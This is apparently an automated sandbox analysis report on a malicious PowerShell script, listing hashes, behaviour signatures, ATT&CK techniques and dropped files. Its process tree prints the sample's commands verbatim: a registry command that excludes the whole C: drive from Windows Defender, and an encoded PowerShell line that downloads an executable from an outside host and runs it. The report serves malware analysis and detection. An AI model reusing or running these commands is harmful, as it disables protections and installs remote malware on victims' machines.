f64c1d9ac210376b5519d1902dc4d73e4a4d3f719f5cd4111f0d718e7ced8096

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 18:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
encripted.ps1
Size 1KB
Sample260601-wpbybady4m
SHA256 f64c1d9ac210376b5519d1902dc4d73e4a4d3f719f5cd4111f0d718e7ced8096
MD5 0c212f31ecec319fbabad98a218ac62c
SHA1 7b0b44f685bad7c57bd2f4390561d818fd877f74
SHA512 38fc53dc622a6202fb03b70b7cbb4dd023ed0ff74dcd66d8026cbf452388afcd876058290f687d7eaea5144898c9f2b5f88c59f7c9616732004ab4bae1b51635
TLSH
T1F821CB3A8A60FCD0972C7291996D1DE7226C1E15C3BA6B14E50619A83E22B53EF0B64C
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4012	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1760	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1760	PowerShell.exe
1760	PowerShell.exe
4012	powershell.exe
4012	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	PowerShell.exe
Token: SeDebugPrivilege	4012	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 4880	1760	PowerShell.exe	82
PID 1760 wrote to memory of 4012	1760	PowerShell.exe	83

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\encripted.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\system32\reg.exe
  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
  2⤵
  PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAXABkAGkAcwBjAG8AcgBkAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAALQBVAHIAaQAgAGgAdAB0AHAAcwA6AC8ALwB0AHMALgBiAHUAegB6AGgAZQBhAHYAaQBlAHIALgBjAG8AbQAvAGQALwBuAHoANQAxADcAcgAxAHcAegBoAGMAeAA/AHYAPQBGAFoANwBLAGEARwBHAFgAaQBPADAAXwBqAC0AegBmADEAWgBZAEkANQBQAGQAZwBPADYARgAwAE0AcAAwAG8AaAAzAHgASgBYAHEAdABYAFUANABzAGkANQBOAFgAWQBOAHMAagAzAEEAMwBHAHEAagBxADgAZgBkAFgATQBxAF8ARABQAHEAagBMADYAWgBZAFUAQwBFAGMAeQBnAGoAYwA5AEEAVwBlAC0ASAAtAFkATQBTADkAYgBLAGEARQBlAC0AdgBOADAAZABxAGgARgBJAEMAMwBvADQAYwBOADIANgA4AFQAQQB4AFMAVQBVAFIAcgA3AGcAMwBnAFkAVwBEAHEARABUADgAWgA4AEgATwBUAEkAeQBaAF8AZAA5AGYAVgAtADQARQBIAFkARgBvADgADQAKAA0ACgBzAHQAYQByAHQAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQBcAGQAaQBzAGMAbwByAGQAXABSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAC4AZQB4AGUA
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

PowerShell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\PowerShell.exe.log
Size 3KB
SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
TLSH
T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_uh1wdj4o.jn0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uh1wdj4o.jn0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1760-7-0x000001922B5E0000-0x000001922B602000-memory.dmp

Download

memory/1760-8-0x0000019212420000-0x0000019212EE2000-memory.dmp

Download

memory/1760-9-0x0000019212420000-0x0000019212EE2000-memory.dmp

Download

memory/1760-10-0x0000019212420000-0x0000019212EE2000-memory.dmp

Download

memory/1760-0-0x0000019212BEA000-0x0000019212BEB000-memory.dmp

Download

memory/1760-27-0x0000019212420000-0x0000019212EE2000-memory.dmp

Download

memory/4012-13-0x00000245FBB2A000-0x00000245FBB2B000-memory.dmp

Download

memory/4012-23-0x00000245FB360000-0x00000245FBE22000-memory.dmp

Download

memory/4012-20-0x00000245FB360000-0x00000245FBE22000-memory.dmp

Download

memory/4012-11-0x00000245FC230000-0x00000245FC240000-memory.dmp

Download

memory/4012-12-0x00000245FC230000-0x00000245FC240000-memory.dmp

Download